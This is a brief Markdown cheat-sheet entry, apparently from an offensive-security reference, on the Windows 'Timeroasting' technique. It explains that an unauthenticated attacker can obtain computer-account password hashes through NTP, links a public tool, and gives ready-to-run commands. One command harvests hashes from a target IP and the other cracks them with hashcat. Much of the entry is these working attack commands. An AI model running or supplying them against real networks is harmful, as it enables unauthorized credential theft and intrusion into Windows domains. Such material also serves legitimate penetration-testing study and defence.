9 lines
459 B
Markdown
9 lines
459 B
Markdown
|
# Roasting - Timeroasting
|
||
|
|
|
||
|
|
> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
|
||
|
|
|
||
|
|
* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
|
||
|
|
```ps1
|
||
|
|
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||
|
|
hashcat -m 31300 ntp-hashes.txt
|
||
|
|
```
|